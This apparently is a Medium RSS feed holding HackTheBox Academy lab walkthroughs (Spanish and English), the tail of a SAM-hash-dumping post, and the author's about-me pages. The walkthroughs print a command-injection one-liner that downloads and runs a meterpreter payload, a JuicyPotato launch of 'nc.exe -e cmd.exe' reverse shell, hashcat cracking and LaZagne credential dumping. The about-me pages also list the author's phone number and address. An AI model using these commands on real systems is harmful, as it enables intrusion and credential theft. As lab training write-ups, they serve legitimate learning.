LOCAL<br>/home/nathan/.local/lib/python3.12/site-packages/impacket/version.py:12: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools&lt;81.<br>  import pkg_resources<br>Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies <br><br>[*] Target system bootKey: 0xfab4b2e32a415ea36f846b9408aa69af<br>[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)<br>Administrator:500:aad3b435b51404eeaad3b435b51404ee:7796ee39f*******1844556115ae1a54:::<br>Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b*******e0c089c0:::<br>DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe3*******31b73c59d7e0c089c0:::<br>WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:aad7*******0675bbcb3e3df3319042c:::<br>mrb3n:1001:aad3b435b51404eeaad3b435b51404ee:7796ee39fd3a9c3a*******115ae1a54:::<br>htb-student:1002:aad3b435b51404eeaad3b435b51404ee:3c0e5d303e*******d5c3b7876a06ea6:::<br>wksadmin:1003:aad3b435b51404eeaad3b435b51404ee:5835048ce94ad*******a924a03510ef:::</pre><p>Now that I have the NT hash for the wksadmin account, I can crack it with hashcat mode 1000 as follows</p><pre>hashcat -m 1000 5835048ce94ad0564e29a924a03510ef /usr/share/wordlists/rockyou.txt<br>hashcat (v6.2.6) starting<br><br><br><br>Dictionary cache hit:<br>* Filename..: /usr/share/wordlists/rockyou.txt<br>* Passwords.: 14344385<br>* Bytes.....: 139921507<br>* Keyspace..: 14344385<br><br>5835048ce94ad0564e29a924a03510ef:&lt;REDACTED&gt; </pre><p>I found the password and with this completed the assessment.</p><p><em>💡 Thanks for reading, I Hope it was useful , and if you like you can connect with me:</em></p><ul><li>🔗 <a href="https://www.linkedin.com/in/nathanael-de-simon-936a18235/">LinkedIn</a></li><li>🧠 <a href="https://medium.com/@nathanaeldesimon">More writeups</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2ca799b6a967" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB Windows Privilege Escalation Skill Assessment 1 — Guía Paso a Paso: SeImpersonatePrivilege]]></title>
            <link>https://medium.com/@nathanaeldesimon/htb-windows-privilege-escalation-skill-assessment-1-gu%C3%ADa-paso-a-paso-seimpersonateprivilege-3b761905dce7?source=rss-223b14edd883------2</link>
            <guid isPermaLink="false">https://medium.com/p/3b761905dce7</guid>
            <category><![CDATA[windows-privilege-esc]]></category>
            <category><![CDATA[htb-academy]]></category>
            <category><![CDATA[htb]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[htb-walkthrough]]></category>
            <dc:creator><![CDATA[Nathanael de Simon]]></dc:creator>
            <pubDate>Sun, 27 Jul 2025 21:36:22 GMT</pubDate>
            <atom:updated>2025-08-05T09:25:06.193Z</atom:updated>
            <content:encoded><![CDATA[<h3>HTB Elevacion de Privilegios Windows -Skill Assessment 1 -Guía Paso a Paso: SeImpersonatePrivilege</h3><p><em>🏴󠁧󠁢󠁥󠁮󠁧󠁿 </em><a href="https://medium.com/@nathanaeldesimon/htb-windows-privilege-escalation-skill-assessment-1-walkthrough-seimpersonateprivilege-19b5626dc1bf"><em>Click me for english version</em></a></p><h3>Resumen de la evaluación</h3><p>Durante una prueba de penetración simulada en la red INLANEFREIGHT (parte del módulo de escalada de privilegios en Windows de HTB Academy), nos encontramos con un servidor Windows vulnerable que no está unido a un dominio. Nuestro objetivo es explotar una vulnerabilidad de inyección de comandos para obtener acceso inicial, escalar privilegios y recuperar varios archivos clave, incluyendo flag.txt y confidential.txt</p><h3>Injección de commando y primer acceso</h3><p>Después de un escaneo con nmap en la ip objetivo, el puerto 80 está abierto, al visitar <a href="http://10.129.225.46/">http://10.129.225.46:80</a> en firefox se muestra la siguiente página</p><figure><img alt="Simple webpage with a ssh search prompt and a ping host button" src="https://cdn-images-1.medium.com/max/974/1*oq2IfacnTIFvthGM4aQKCA.png" /></figure><p>Después de prácticas simples de inyección de comandos descubrí que puedo usar espacios y el carácter “&amp;”, así que pude añadir una reverse shell de meterpreter conectando a msfconsole en mi kali linux.</p><p>Primero necesito crear el payload con msfvenom y crear un servidor http</p><pre>msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.150 LPORT=9919 -f exe -o payload.exe</pre><pre>python3 -m http.server</pre><p>Una vez alojado el payload, en msfconsole inicié un multi handler</p><pre>msf6&gt; use exploit/multi/handler<br>msf6&gt; set payload windows/x64/meterpreter/reverse_tcp<br>msf6&gt; set lhost 10.10.14.150<br>msf6&gt; set lport 9919<br>run</pre><p>Despues descargué y ejecuté el payload con un comando one-liner, inyectado en el buscador de la página web</p><p>127.0.0.1 &amp; powershell -c “Invoke-WebRequest -Uri <a href="http://10.10.14.150/payload.exe">http://10.10.14.150:8000/payload.exe</a> -OutFile C:\Windows\Temp\payload.exe; Start-Process C:\Windows\Temp\payload.exe”</p><p>Ahora tengo una sesión meterpreter y puedo enumerar el objetivo.</p><h3>Parches de windows</h3><blockquote>Pregunta 1: “¿Qué dos KBs están instalados en el sistema objetivo? (Formato de respuesta: 3210000&amp;3210060)”</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h4n_SVmtH2WViALZX6Urig.png" /></figure><p>Luego me enfoce en elevar privilegios para contestar a la pregunta 2, porque lazagne.exe no me dio resultados, pero confio en que me los dara con privilegios de administrator</p><h3>Elevación de Privilegios con JuicyPotato</h3><blockquote>Pregunta 3: “Escala privilegios y envía el contenido del archivo flag.txt ubicado en el Escritorio del Administrador”</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SPAi-rlscKcOAbcDO3byrg.png" /></figure><p>Desde mis privilegios actuales, el que destaca es “<strong>SeImpersonatePrivilege</strong>”, que puedo usar para suplantar el token de otro usuario, engañando a un proceso SYSTEM para que nos entregue su token.<br> Para esto necesitaba JuicyPotato y nc.exe</p><p>Primero obtuve CLSID del objetivo con reg query HKCR\CLSID /s /f LocalService</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3SYVdmLy_WFgNCY6pmzgOA.png" /></figure><p>Luego empece un oyente de netcat en mi kali linux</p><pre>nc -lnvp 4141</pre><p>Ahora estaba preparado para realizar la suplantación con JuicyPotato</p><pre>C:\Users\Default\Tools&gt;.\juicypotato.exe -l 4141 -c &quot;{C49E32C6-BC8B-11d2-85D4-00105A1F8304}&quot; -p c:\windows\system32\cmd.exe -a &quot; /c c:\users\default\tools\nc.exe -e cmd.exe 10.10.14.150 4141&quot; -t *<br>.\juicypotato.exe -l 4141 -c &quot;{C49E32C6-BC8B-11d2-85D4-00105A1F8304}&quot; -p c:\windows\system32\cmd.exe -a &quot; /c c:\users\default\tools\nc.exe -e cmd.exe 10.10.14.150 4141&quot; -t *<br>Testing {C49E32C6-BC8B-11d2-85D4-00105A1F8304} 4141<br>......<br>[+] authresult 0<br>{C49E32C6-BC8B-11d2-85D4-00105A1F8304};NT AUTHORITY\SYSTEM<br>[+] CreateProcessWithTokenW OK</pre><p>Entonces mi netcat capturó la shell y podemos capturar el flag.txt en el escritorio del administrador</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DukS8zoOLQihDrDumSvfwA.png" /></figure><h3>Buscando confidential.txt</h3><p>Pregunta 4: “Después de escalar privilegios, localiza un archivo llamado confidential.txt. Envía el contenido de este archivo”</p><p>Usé el comando where para buscar recursivamente en el directorio Users, ya que probablemente esté allí</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wVOEKSw7EbyqUGhjVPEN1Q.png" /></figure><h3>Buscando la contraseña de ldapadmin con LaZagne</h3><p>Pregunta 2: “Encuentra la contraseña para la cuenta ldapadmin en algún lugar del sistema”<br> Ahora que tenía privilegios de administrador ejecuté lazagne.exe de nuevo y esta vez sí encontró una contraseña</p><p>.\lazagne.exe all</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Of8HHIrdIlN6g2GQ2QkuJA.png" /></figure><p>💡 ¡Gracias por leer! Si te resultó útil, considera conectar conmigo:</p><ul><li>🔗 <a href="https://www.linkedin.com/in/nathanael-de-simon-936a18235/">LinkedIn</a></li><li>🧠 <a href="https://medium.com/@nathanaeldesimon">Mas write-ups</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3b761905dce7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB Windows Privilege Escalation Skill Assessment 1 Walkthrough — SeImpersonatePrivilege]]></title>
            <link>https://medium.com/@nathanaeldesimon/htb-windows-privilege-escalation-skill-assessment-1-walkthrough-seimpersonateprivilege-19b5626dc1bf?source=rss-223b14edd883------2</link>
            <guid isPermaLink="false">https://medium.com/p/19b5626dc1bf</guid>
            <category><![CDATA[windows-privilege-esc]]></category>
            <category><![CDATA[htb-writeup]]></category>
            <category><![CDATA[htb-walkthrough]]></category>
            <category><![CDATA[htb-academy-writeup]]></category>
            <dc:creator><![CDATA[Nathanael de Simon]]></dc:creator>
            <pubDate>Sun, 27 Jul 2025 14:46:58 GMT</pubDate>
            <atom:updated>2025-07-27T21:40:39.113Z</atom:updated>
            <content:encoded><![CDATA[<h3>HTB Windows Privilege Escalation Skill Assessment 1 Walkthrough — SeImpersonatePrivilege</h3><p><em>🇪🇸 </em><a href="https://medium.com/@nathanaeldesimon/htb-windows-privilege-escalation-skill-assessment-1-gu%C3%ADa-paso-a-paso-seimpersonateprivilege-3b761905dce7"><em>Click me for Spanish version</em></a></p><h3>Overview of the assessment</h3><p>During a simulated penetration test on the INLANEFREIGHT network (part of HTB Academy Windows privesc module), we encounter a vulnerable non-domain joined Windows server. Our objective is to exploit a command injection flaw to get initial access, escalate privileges, and retrieve several key files including flag.txt and confidential.txt.</p><h3>Command Injection and Shell Access</h3><p>After a nmap scan on the target ip, port 80 is open, visiting <a href="http://10.129.225.46/">http://10.129.225.46:80</a> on firefox reveals the following page</p><figure><img alt="Simple webpage with a ssh search prompt and a ping host button" src="https://cdn-images-1.medium.com/max/974/1*oq2IfacnTIFvthGM4aQKCA.png" /></figure><p>After simple command injection practices I find out that I can use spaces, and the “&amp;” so I could add a reverse meterpreter shell connecting to msfconsole on my kali linux.</p><p>First I need to create the payload with msfvenom and host it</p><pre>msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.150 LPORT=9919 -f exe -o payload.exe<br><br>python3 -m http.server</pre><p>Once hosting the payload, in msfconsole I started a multi handler</p><pre>msf6&gt; use exploit/multi/handler<br>msf6&gt; set payload windows/x64/meterpreter/reverse_tcp<br>msf6&gt; set lhost 10.10.14.150<br>msf6&gt; set lport 9919<br>run</pre><p>Now I downloaded and executed the payload in a one-liner command, injected into the webpage</p><p>127.0.0.1 &amp; powershell -c “Invoke-WebRequest -Uri <a href="http://10.10.14.150/payload.exe">http://10.10.14.150:8000/payload.exe</a> -OutFile C:\Windows\Temp\payload.exe; Start-Process C:\Windows\Temp\payload.exe”</p><p>Now I have a meterpreter session and I started to enumerate the target.</p><h3>Currently Installed Patches</h3><blockquote>Question 1: “Which two KBs are installed on the target system? (Answer format: 3210000&amp;3210060)”</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h4n_SVmtH2WViALZX6Urig.png" /></figure><p>Next I focused on escalating privileges before question 2 because lazagne.exe didn’t give me any results and I didn’t find anything digging around, but I was sure that with admin privileges lazagne would.</p><h3>Privilege Escalation with Juicy Potato</h3><blockquote>Question 3: “Escalate privileges and submit the contents of the flag.txt file on the Administrator Desktop”</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SPAi-rlscKcOAbcDO3byrg.png" /></figure><p>From my current privileges the one that stands out is “<strong>SeImpersonatePrivilege</strong>” which I can use to impersonate another users token, tricking a SYSTEM process into handling over it’s token to us.</p><p>For this I needed JuicyPotato, and nc.exe</p><p>First I got CLSID’s from the target with reg query HKCR\CLSID /s /f LocalService.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3SYVdmLy_WFgNCY6pmzgOA.png" /></figure><p>Then I started a netcat listener on our attack host</p><pre>nc -lnvp 4141</pre><p>Now I was prepared to perform the impersonation with JuicyPotato</p><pre>C:\Users\Default\Tools&gt;.\juicypotato.exe -l 4141 -c &quot;{C49E32C6-BC8B-11d2-85D4-00105A1F8304}&quot; -p c:\windows\system32\cmd.exe -a &quot; /c c:\users\default\tools\nc.exe -e cmd.exe 10.10.14.150 4141&quot; -t *<br>.\juicypotato.exe -l 4141 -c &quot;{C49E32C6-BC8B-11d2-85D4-00105A1F8304}&quot; -p c:\windows\system32\cmd.exe -a &quot; /c c:\users\default\tools\nc.exe -e cmd.exe 10.10.14.150 4141&quot; -t *<br>Testing {C49E32C6-BC8B-11d2-85D4-00105A1F8304} 4141<br>......<br>[+] authresult 0<br>{C49E32C6-BC8B-11d2-85D4-00105A1F8304};NT AUTHORITY\SYSTEM<br><br>[+] CreateProcessWithTokenW OK</pre><p>Then my netcat caught the shell and we can capture the flag.txt in the administrators destop</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DukS8zoOLQihDrDumSvfwA.png" /></figure><h3>Finding confidential.txt</h3><p>Question 4: “After escalating privileges, locate a file named confidential.txt. Submit the contents of this file”</p><p>I used “where” to search recursively in the Users directory, since it is most likely going to be there</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wVOEKSw7EbyqUGhjVPEN1Q.png" /></figure><h3>Finding the ldapadmin password with Lazagne</h3><p>Question 2: “Find the password for the ldapadmin account somewhere on the system”</p><p>Now that I had admin privileges i ran lazagne.exe again and this time it did find a password</p><p>.\lazagne.exe all</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Of8HHIrdIlN6g2GQ2QkuJA.png" /></figure><p>💡 <em>Thanks for reading! If you found this helpful, consider connecting with me:</em></p><ul><li>🔗 <a href="https://www.linkedin.com/in/nathanael-de-simon-936a18235/">LinkedIn</a></li><li>🧠 <a href="https://medium.com/@nathanaeldesimon">More writeups</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=19b5626dc1bf" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Sobre mí — Nathanael de Simon]]></title>
            <link>https://medium.com/@nathanaeldesimon/sobre-m%C3%AD-nathanael-de-simon-ece35f3e2160?source=rss-223b14edd883------2</link>
            <guid isPermaLink="false">https://medium.com/p/ece35f3e2160</guid>
            <category><![CDATA[sobre-mi]]></category>
            <category><![CDATA[curriculum]]></category>
            <category><![CDATA[cv]]></category>
            <dc:creator><![CDATA[Nathanael de Simon]]></dc:creator>
            <pubDate>Wed, 23 Jul 2025 13:52:22 GMT</pubDate>
            <atom:updated>2025-07-23T13:59:08.833Z</atom:updated>
            <content:encoded><![CDATA[<h3>Sobre mí — Nathanael de Simon</h3><p>¡Hola! Soy Nathanael de Simon, un joven apasionado y motivado que aspira a desarrollarse profesionalmente en el campo de la ciberseguridad. Acabo de cumplir 19 años y soy bilingüe en inglés y español. La tecnología siempre me ha fascinado, y estoy decidido a construir una carrera significativa en esta área.</p><p>Actualmente vivo en Órgiva, Granada, España, donde estoy finalizando el curso <strong>“Penetration Tester Job Role Path”</strong> ofrecido por HTB Academy. Mi objetivo es obtener la certificación <strong>Certified Penetration Testing Specialist (CPTS)</strong> para agosto de 2025.</p><h3>¿Qué es CPTS?</h3><p>El <strong>Certified Penetration Testing Specialist (CPTS)</strong> es una certificación altamente valorada que pone énfasis en habilidades prácticas y aplicadas de pruebas de penetración mediante simulaciones de ataques reales. Se considera, en general, más exigente y completa que otras certificaciones como el OSCP (Offensive Security Certified Professional). Más allá de las habilidades técnicas, el CPTS prepara a los candidatos con metodologías efectivas para realizar pruebas de penetración profesionales y operaciones de seguridad ofensiva.</p><p>Obtener la certificación CPTS demuestra una sólida capacidad para identificar, explotar y reportar vulnerabilidades, habilidades esenciales para cualquier tester de penetración.</p><h3>Mis habilidades</h3><ul><li>Lenguajes de programación: HTML, CSS, Python, JavaScript</li><li>Evaluación de vulnerabilidades en redes y aplicaciones</li><li>Desarrollo de exploits y técnicas de pruebas manuales</li><li>Pruebas de penetración en aplicaciones web (OWASP Top 10)</li><li>Pruebas de penetración en redes (internas y externas)</li><li>Uso de frameworks y herramientas de pentesting (Metasploit, Nmap, Burp Suite, etc.)</li><li>Reporte y documentación de hallazgos de seguridad</li><li>Manejo avanzado de la línea de comandos en Linux y scripting para automatización</li><li>Conceptos de seguridad como escalada de privilegios, enumeración y pivoting</li></ul><h3><strong>Certificaciones:</strong></h3><ul><li>Google Cybersecurity Professional Certificate</li><li>HTB Information Security Foundations</li><li>TCM Linux 101</li><li>TCM Python 101 for Hackers</li><li>Futuro Certified Penetration Testing Specialist (CPTS)</li></ul><p>Además, gané un premio en un seminario de emprendimiento por mi contribución en el desarrollo de un prototipo de aplicación.</p><h3>Mis aspiraciones profesionales</h3><p>Mi trayectoria educativa hasta ahora ha reforzado mi compromiso con la ciberseguridad. Estoy deseando aplicar mis conocimientos y habilidades en un entorno real donde pueda seguir aprendiendo y creciendo profesionalmente.</p><p>Actualmente, busco oportunidades para integrarme en organizaciones innovadoras, ya sea a través de prácticas profesionales o en puestos de junior, donde pueda aportar mi entusiasmo, habilidades técnicas y una gran ética de trabajo.</p><p>Si estás interesado en conectar o discutir posibles colaboraciones, no dudes en contactarme.</p><p>¡Gracias por visitar mi página!</p><p><strong>Nathanael de Simon</strong><br> 📍 18400 Órgiva, Granada, España<br> 📞 +34 621 06 05 25<br> 📧 nathanaeldesimon@gmail.com</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ece35f3e2160" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[About Me — Nathanael de Simon]]></title>
            <link>https://medium.com/@nathanaeldesimon/about-me-nathanael-de-simon-8dfe20543720?source=rss-223b14edd883------2</link>
            <guid isPermaLink="false">https://medium.com/p/8dfe20543720</guid>
            <category><![CDATA[resume]]></category>
            <category><![CDATA[cv]]></category>
            <category><![CDATA[about-me]]></category>
            <dc:creator><![CDATA[Nathanael de Simon]]></dc:creator>
            <pubDate>Wed, 23 Jul 2025 13:31:34 GMT</pubDate>
            <atom:updated>2025-10-12T12:54:31.918Z</atom:updated>
            <content:encoded><![CDATA[<h3>About Me — Nathanael de Simon</h3><p>Hello! I’m <strong>Nathanael de Simon</strong>, a passionate and motivated aspiring cybersecurity professional. I’ve recently turned 19 and am bilingual in English and Spanish. Technology has always fascinated me, and I am dedicated to building a meaningful career in the cybersecurity field.</p><p>I currently live in Órgiva, Granada, Spain, where I am currently preparing for the certificate exam CPTS.</p><h3>What is CPTS?</h3><p>The <strong>Certified Penetration Testing Specialist (CPTS)</strong> is a highly respected certification that emphasizes practical, hands-on penetration testing skills through real-world attack simulations. It is widely regarded as more challenging and comprehensive than certifications like the OSCP (Offensive Security Certified Professional). Beyond technical skills, CPTS prepares candidates with effective methodologies to perform professional penetration tests and offensive security operations.</p><p>Successfully earning the CPTS certification shows strong proficiency in identifying, exploiting, and reporting vulnerabilities — essential skills for a penetration tester.</p><h3>My Skills</h3><ul><li><strong>Programming Languages:</strong> HTML, CSS, Python, JavaScript</li><li>Network and application vulnerability assessment</li><li>Exploit development and manual testing techniques</li><li>Web application penetration testing (OWASP Top 10)</li><li>Network penetration testing (including internal and external networks)</li><li>Use of penetration testing frameworks and tools (e.g., Metasploit, Nmap, Burp Suite)</li><li>Reporting and documentation of security findings</li><li>Linux command line proficiency and scripting for automation</li><li>Security concepts including privilege escalation, enumeration, and pivoting</li></ul><h3><strong>Certifications:</strong></h3><ul><li>Google Cybersecurity Professional Certificate</li><li>HTB Information Security Foundations</li><li>TCM Linux 101</li><li>TCM Python 101 for Hackers</li><li>Future Certified Penetration Testing Specialist (CPTS)</li></ul><p>Additionally, I was awarded with an award in an entrepreneurship seminar where I contributed to developing a prototype app.</p><h3>My Professional Aspirations</h3><p>My educational journey so far has solidified my commitment to cybersecurity. I am eager to apply my skills and knowledge in a real-world environment where I can continue learning and growing.</p><p>I am currently looking for opportunities to join forward-thinking organizations — whether through internships or entry-level roles — where I can bring my enthusiasm, technical abilities, and strong work ethic.</p><p>If you’re interested in connecting or discussing potential collaborations, please don’t hesitate to reach out.</p><p>Thank you for visiting my page!</p><p><strong>Nathanael de Simon</strong><br> 📍 18400 Órgiva, Granada, Spain<br> 📧 nathanaeldesimon@gmail.com<br>🔵 <a href="https://www.linkedin.com/in/nathanael-de-simon-936a18235/?locale=en_US">LinkedIn</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8dfe20543720" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>